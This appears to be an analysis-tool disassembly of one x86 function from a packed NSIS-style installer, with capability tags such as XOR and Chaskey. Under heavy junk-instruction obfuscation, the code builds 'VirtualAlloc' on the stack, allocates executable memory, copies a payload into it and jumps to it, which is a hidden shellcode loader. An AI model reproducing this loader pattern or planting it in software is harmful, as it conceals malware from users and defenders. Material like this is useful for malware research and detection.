Function at 0x4033b6
Capabilities:
Check os version
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
sub esp, 0x2d4
push ebx
push esi
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x4033fc
push ebx
call fcn.00406558
cmp eax, ebx
je 0x4033fc
push 0xc00
call eax
mov esi, str.UXTHEME
push esi
call fcn.004064e8
push esi
pushal
pushfd
and eax, 0x198ae9a9
sub ebx, eax
not edx
mov edx, esp
shr ecx, 0x17
or esi, edi
shl eax, 0x17
not edi
mov esi, 0xcf61c40
mov ecx, eax
sub dword [0x42a447], 0x1661f5f8
xor esi, 0x143e9380
rol esi, 2
and esi, edi
not eax
rol esi, 0x18
mov edi, esi
not edi
xor edx, ebp
mov ecx, 0x90bbe3
inc esi
ror esi, 0x1d
neg edi
shr esi, 0xb
mov dword [0x42a964], ebx
call fcn.00402d9e
or eax, 0x233d7c00
xor esi, 0x1824bc8e
add ebx, edx
call fcn.0040585b
rol eax, 0x12
neg esi
xor eax, 0x87788ed
and esi, edi
sub ecx, dword [0x40a306]
mov edx, eax
xor esi, dword [0x40a1f0]
call fcn.00402508
call fcn.00404695
rol esi, 0x13
mov eax, esi
test eax, esp
jo 0x403503
mov ecx, 0xe3b41c
rol eax, 0x14
neg eax
ror edx, 0x14
call fcn.0040585b
shr eax, 0x1f
or edx, dword [0x40a548]
shr esi, 6
inc esi
shl esi, 7
dec esi
loop 0x4034a6
add eax, 0xe8e7344
mov ecx, edx
dec ebx
add ebx, eax
shl edx, 0x18
dec esi
mov edi, ebx
xor esi, eax
xor ecx, eax
rol esi, 0xe
not eax
xor esi, edx
neg eax
xor edx, dword [0x40a390]
mov eax, esp
neg esi
or dword [0x40a59d], 0x7e1f18
rol eax, 0x16
xor eax, edx
mov eax, esi
not esi
mov esi, eax
sub edx, 0x135f40cb
xor esi, edx
call fcn.00402e40
sub edx, edi
mov esi, 0x5f439e3
sub ebx, eax
or esi, dword [0x40a46c]
xor edx, esp
mov ebx, 0xae9e820
mov ecx, 0xa4851de
sub dword [str.GetUserDefaultUILanguage], 0x1130e128
inc ebx
mov dword [0x40a2b6], edx
rol esi, 0x10
inc esi
call fcn.00402508
rol edx, 5
shl esi, 0x18
dec esi
neg esi
shr edx, 0xb
xor dword [0x40a483], ecx
shl eax, 0x18
sub edi, dword [0x40a04e]
loop 0x40352b
or esi, edi
mov ecx, edx
neg ebx
call fcn.0040585b
add esi, 0x1153613
mov ecx, 0x1b6cdaf8
rol esi, 0x18
or dword [0x40a1c1], 0x13185676
shr esi, 0x1c
rol eax, 5
inc edx
test ebp, ecx
jo 0x4035ea
add dword [0x40a2f1], ecx
inc esi
sub dword [0x40a555], esi
shr esi, 0xd
neg esi
shl esi, 3
mov dword [0x40a3aa], 0x1b8b49bc
loop 0x403578
and ecx, 0x70619d0
sub edi, dword [0x40a2b5]
mov ecx, eax
dec eax
not esi
xor esi, eax
mov ebx, esi
mov eax, edi
xor esi, eax
dec ebx
shr esi, 6
dec eax
mov esi, eax
dec ecx
xor esi, eax
add ebx, eax
mov ecx, 0x112e74b8
call fcn.0040585b
sub dword [0x40a2aa], ecx
inc edi
and dword [0x40a476], 0xdef6954
loop 0x4035db
movsb byte es:[edi], byte [esi]
inc eax
add byte [ecx + ebp*2 - 0x11], dl
or eax, 0xba68e8e2
mov word [eax], es
push str.KERNEL32.dll
rol esi, 0x10
call fcn.0040585b
xchg eax, edx
not eax
sub dword [0x42a4f9], esi
call fcn.00404695
xor dword [0x42a5db], ecx
sub esi, 0x2eb28a1c
xor esi, dword [str.VerQueryValueW]
or dword [0x42a455], esi
xor edi, dword [str.NSIS_Error]
mov dword [0x42a51e], edx
inc ecx
ror esi, 0x18
dec edx
not ecx
xor eax, 0x7ff1ff4
call fcn.0040585b
xor dword [0x42a941], ecx
call fcn.004031e8
or dword [0x42a608], edi
call fcn.004014c2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, 0x2fb73778
xor ebx, 0xcc9e07
inc esi
add ecx, dword [0x42ac58]
mov dword [0x42a440], esi
xchg eax, esi
mov dword [0x42a8ba], 0x756d33
or dword [0x42a810], ebx
call fcn.004014c2
xor dword [0x42a338], edx
xor dword [0x42a4db], ecx
mov dword [0x42a7fc], ecx
mov dword [0x42a3c1], 0x3327c71a
xchg eax, esi
dec esi
xor ebx, 0xcc9e07
xor esi, 0x2fb73778
push 0
xchg eax, eax
add esi, 0x26afcff0
call fcn.00404d5e
xor dword [0x42a908], 0x1c50b382
xor esi, 0x67637cc
inc esi
not esi
xor esi, 0x7e82275
xor edi, dword [0x42ac20]
neg edx
xor edx, dword [0x42ae60]
neg esi
rol ecx, 7
not esi
xor esi, dword [0x42aefc]
add ebx, esi
sub ebx, esi
not esi
ror ecx, 7
neg esi
neg edx
xor esi, 0x7e82275
not esi
dec esi
xor esi, 0x67637cc
mov dword [0x42a524], 0xc3bcca
call fcn.004016f7
sub esi, 0x26afcff0
xchg eax, eax
push 0x636f6c6c
rol esi, 0xe
xor esi, eax
add edx, 0xfe52fdd
and dword [0x42a3d1], 0x41d22ee
dec esi
ror esi, 9
xchg esi, edx
inc esi
sub ecx, dword [0x42aa6c]
neg eax
sub esi, 0x14364ee
mov dword [0x42a92c], esi
xor edx, 0x9907b06
sub eax, 0x87666c1
or dword [0x42a8ba], 0x1f350123
xor ebx, edi
mov dword [0x42a3ec], ecx
sub eax, 0x6017880
dec edi
sub ecx, dword [0x42a9f8]
inc edi
add eax, 0x6017880
xor ebx, edi
add eax, 0x87666c1
xor edx, 0x9907b06
add esi, 0x14364ee
neg eax
dec esi
xchg esi, edx
rol esi, 9
inc esi
sub dword [0x42a549], 0x13a8391f
sub edx, 0xfe52fdd
xor esi, eax
ror esi, 0xe
push 0x416c6175
xor eax, 0xf09da7f
xchg esi, eax
xor esi, eax
not eax
xor edi, esp
not esi
call fcn.00402c27
add esi, ebp
sub ecx, dword [0x42aad0]
xchg eax, eax
xor esi, 0x275df123
dec ecx
xor edi, dword [0x42ac48]
xor ecx, dword [0x42abf8]
ror esi, 0xb
xor edx, 0x9a1a642
add esi, edx
inc eax
dec eax
sub esi, edx
xor edx, 0x9a1a642
rol esi, 0xb
inc ecx
xor esi, 0x275df123
xchg eax, eax
sub esi, ebp
call fcn.00402c27
not esi
xor edi, esp
not eax
xor esi, eax
xchg esi, eax
xor eax, 0xf09da7f
push 0x74726956
xor esi, eax
or dword [0x42a708], esi
call fcn.004031e8
xor esi, eax
sub edi, dword [0x42afb9]
rol eax, 0xc
xor ecx, 0x28c39fb4
xor ebx, esi
xor esi, eax
xor ecx, dword [0x42aedc]
xor esi, eax
xor ebx, esi
xor ecx, 0x28c39fb4
ror eax, 0xc
xor esi, eax
mov dword [0x42a880], ecx
xor esi, eax
push esp
ror esi, 9
or dword [0x42a40c], 0x927b2e5
inc eax
xor esi, 0xc00284
xor esi, eax
not esi
xor eax, ecx
xor ebx, esp
xor esi, eax
sub ebx, dword [0x42ab40]
or dword [0x42a653], ecx
add edi, dword [0x42af78]
xor edi, dword [0x42aced]
ror eax, 0xa
inc eax
or dword [0x42a8fc], 0x136a8faa
sub dword [0x42a92a], 0xf65691
dec eax
rol eax, 0xa
or dword [0x42a509], ecx
xor esi, eax
xor ebx, esp
xor eax, ecx
not esi
xor esi, eax
xor esi, 0xc00284
dec eax
or dword [0x42a57b], 0x37146900
rol esi, 9
push eax
dec eax
xchg eax, eax
call fcn.00402961
xor edi, dword [0x42afc6]
xor ebx, ebp
not eax
add dword [0x42a594], ebx
add ecx, eax
mov dword [0x42a97a], ecx
neg edx
neg edx
sub ecx, eax
or dword [0x42a5c6], ebx
not eax
xor ebx, ebp
call fcn.0040585a
xchg eax, eax
inc eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor eax, 0xf1caa78
xor esi, esp
ror esi, 0x1d
sub eax, 0x108f0b96
rol ebx, 0x1d
xor edx, dword [0x42a994]
not esi
call fcn.00401918
dec eax
or dword [0x42a4c4], edx
call fcn.00404695
dec edx
xchg edx, eax
add ebx, esi
sub edi, eax
clc
xor ebx, 0xb13a6ec
rol esi, 8
xor ecx, dword [0x42aaa0]
not eax
sub esi, eax
xor esi, dword [0x42af85]
xor ebx, ecx
xor ebx, ecx
add esi, eax
not eax
ror esi, 8
xor ebx, 0xb13a6ec
add edi, eax
sub ebx, esi
xchg edx, eax
inc edx
call fcn.00402d9e
mov dword [0x42a360], esi
inc eax
call fcn.00404695
not esi
ror ebx, 0x1d
add eax, 0x108f0b96
rol esi, 0x1d
xor esi, esp
xor eax, 0xf1caa78
add esp, 0x10
dec esi
neg esi
call fcn.004017c2
xor edi, eax
neg edx
xor ebx, edx
sub ecx, dword [0x42ad98]
add esi, eax
sub edx, dword [0x42ad1f]
xor edx, ecx
xor ebx, esi
mov dword [0x42a704], edx
dec ecx
sub ebx, dword [0x42abb4]
dec edi
xor ecx, eax
xchg edi, eax
neg edx
xor ebx, eax
xor ebx, eax
neg edx
xchg edi, eax
xor ecx, eax
inc edi
inc ecx
mov dword [0x42a455], ecx
xor ebx, esi
xor edx, ecx
sub esi, eax
xor ebx, edx
neg edx
xor edi, eax
call fcn.0040629d
neg esi
inc esi
push 0x40
inc esi
sub dword [0x42a5e0], 0xe75c12a
xor eax, 0xc0dd8b0
ror ecx, 4
call fcn.00402d9e
ror ebx, 0x16
xor ebx, eax
dec eax
sub esi, edx
call fcn.00404695
rol esi, 1
neg edx
xor ecx, dword [0x42af26]
add edx, eax
add edx, dword [0x42acf7]
rol esi, 0xd
xor esi, dword [0x42a9fa]
ror esi, 0xd
sub edx, eax
neg edx
ror esi, 1
call fcn.00402508
add esi, edx
inc eax
xor ebx, eax
rol ebx, 0x16
call fcn.00404d5e
rol ecx, 4
xor eax, 0xc0dd8b0
add dword [0x42a8f6], 0x2196bd24
dec esi
push 0x3000
call fcn.00404695
xor dword [0x42a51c], 0x653e158
sub ecx, dword [0x42a9c6]
call fcn.004027bb
xor edi, eax
neg eax
dec esi
xor esi, eax
call fcn.00402c27
sub ecx, dword [0x42ad04]
sub eax, 0x142e356e
ror esi, 0x14
mov dword [0x42a7ac], edi
xor dword [0x42a7a0], ecx
or dword [0x42a539], ecx
mov dword [0x42a36a], esi
rol esi, 0x14
add eax, 0x142e356e
call fcn.004027bb
xor esi, eax
inc esi
neg eax
xor edi, eax
call fcn.004017c2
call fcn.00402961
push 0x596
xor esi, eax
sub eax, 0x12fb42e9
xchg esi, eax
not eax
xor esi, eax
call fcn.00404d5e
ror esi, 0x15
dec esi
xchg esi, eax
call fcn.00404695
ror eax, 9
xor esi, dword [0x42afa0]
xor edi, ecx
xor edi, ecx
rol eax, 9
call fcn.00402508
xchg esi, eax
inc esi
rol esi, 0x15
call fcn.00402ec1
xor esi, eax
not eax
xchg esi, eax
add eax, 0x12fb42e9
xor esi, eax
push 0
sub ebx, dword [0x42ac3a]
neg esi
call fcn.00402961
xchg esi, eax
xor ecx, dword [0x42ac2a]
dec edi
xor esi, eax
mov dword [0x42a890], 0x985e35
xor edi, dword [0x42ac74]
xchg esi, eax
xchg esi, eax
mov dword [0x42a497], 0xd4f8c64
xor esi, eax
inc edi
xchg esi, eax
call fcn.00402961
neg esi
call eax
add dword [0x42a3f2], edi
neg ebx
xor dword [0x42a71b], ecx
sub ebx, edx
xor edx, esi
dec edx
xchg eax, eax
ror edx, 9
call fcn.00402e40
xor ecx, dword [0x42aec0]
ror ecx, 0x12
add ebx, ecx
sub ebx, ecx
rol ecx, 0x12
call fcn.00406931
rol edx, 9
xchg eax, eax
inc edx
xor edx, esi
add ebx, edx
sub dword [0x42a7ac], edx
neg ebx
call 0x403be2
xor edx, esp
ror esi, 0xf
inc esi
add dword [0x42a6e0], 0xf1fdee8
xor ebx, esp
dec esi
sub esi, 0x11d311a5
call fcn.004014c2
xor ebx, esp
mov dword [0x42a4c3], 0x5990ab6
or dword [0x42a7f7], 0x14f2d258
sub edi, ebx
xor ebx, ecx
xor ebx, ecx
add edi, ebx
mov dword [0x42a968], 0x3c15a4
mov dword [0x42a39a], 0x26463504
xor ebx, esp
add esi, 0x11d311a5
inc esi
xor ebx, esp
mov dword [0x42a914], 0x1912df96
dec esi
rol esi, 0xf
xor edx, esp
pop esi
xor ebx, dword [0x42ae58]
add eax, 0x1dcb3704
not esi
mov dword [0x42a478], 0x138c9378
xchg esi, eax
ror eax, 0x1d
sub esi, dword [0x42af88]
call fcn.00402e40
sub dword [0x42a43c], 0x5b7748a
not edi
xor edx, eax
add dword [0x42a70a], 0x1150162b
call fcn.0040339c
mov dword [0x42a392], 0x1fbd55a8
xchg ebx, esi
inc eax
xor dword [0x42a8ea], ecx
rol esi, 0x17
xor dword [0x42a3b0], 0x4c567bb
add dword [0x42a534], 0x1494d5b4
rol eax, 0x1b
neg eax
neg eax
ror eax, 0x1b
mov dword [0x42a36e], 0x5333742
and dword [0x42a4a0], 0xec2cec0
ror esi, 0x17
or dword [0x42a4a0], edi
dec eax
xchg ebx, esi
or dword [0x42a778], 0xf21f365
call fcn.004017c2
mov dword [0x42a4f0], 0x2912e00
xor edx, eax
not edi
mov dword [0x42a4a9], 0x27e1f27c
call fcn.0040629d
rol eax, 0x1d
xchg esi, eax
mov dword [0x42a46d], 0x12cd1c4
not esi
sub eax, 0x1dcb3704
add esi, 0x368
xor edi, ebp
or dword [0x42a544], 0x99a5f0
or dword [0x42a649], ecx
xor ecx, dword [0x42acf6]
dec eax
call fcn.00404d5e
xor esi, ebp
mov dword [0x42a6bc], ecx
rol esi, 0xd
call fcn.004046f7
neg eax
or dword [0x42a7b8], 0x72990fc
call fcn.00405085
add edx, eax
mov dword [0x42a851], 0x80d21
sub edx, eax
or dword [0x42a3f8], 0x15d0a97
neg eax
call fcn.00406931
ror esi, 0xd
or dword [0x42a4cd], esi
xor esi, ebp
call fcn.00401e7d
inc eax
mov dword [0x42a544], 0x1b10be0a
xor edi, ebp
mov edi, eax
xor esi, eax
sub ecx, dword [0x42af4c]
not eax
sub edi, dword [0x42aca8]
xchg esi, esi
call fcn.00401b41
sub edi, eax
xor ecx, dword [0x42a9a2]
xchg ebx, esi
or dword [0x42a5f6], 0x10f477a1
rol esi, 0xb
ror esi, 0xb
xchg ebx, esi
add edi, eax
call fcn.00404695
xchg esi, esi
not eax
xor esi, eax
mov ecx, 0x596
call fcn.004027d7
mov dword [0x42a374], 0x1f060d78
or dword [0x42a856], edi
ror esi, 0xa
xor esi, eax
not eax
sub dword [0x42a49d], ecx
neg esi
sub edi, dword [0x42adb4]
call fcn.00401d43
xchg esi, eax
call fcn.00404695
xor esi, eax
rol eax, 0x1b
call fcn.0040569f
xor ebx, eax
rol eax, 2
add esi, eax
xor ecx, esp
xor ecx, esp
sub esi, eax
ror eax, 2
xor ebx, eax
call fcn.004014c2
ror eax, 0x1b
xor esi, eax
xchg esi, eax
call fcn.00401b41
neg esi
sub dword [0x42a50a], esi
not eax
xor esi, eax
rol esi, 0xa
mov dword [0x42a89f], ecx
call fcn.004032d0
rep movsb byte es:[edi], byte [esi]
sub esi, eax
add esi, eax
sub edi, dword [0x42abfe]
ror eax, 0x1b
xor edi, dword [0x42ae78]
or dword [0x42a458], 0x1d318448
sub edi, eax
add edi, edx
xor ecx, dword [0x42ac81]
xchg esi, esi
sub dword [0x42a6d2], 0x26f2e83e
call fcn.00404d5e
xor eax, edx
neg eax
sub esi, eax
add esi, eax
neg eax
xor eax, edx
call fcn.00404d5e
mov dword [0x42a636], 0x16289684
xchg esi, esi
sub edi, edx
add edi, eax
mov dword [0x42a47c], 0x2546bea2
rol eax, 0x1b
sub esi, eax
add esi, eax
jmp eax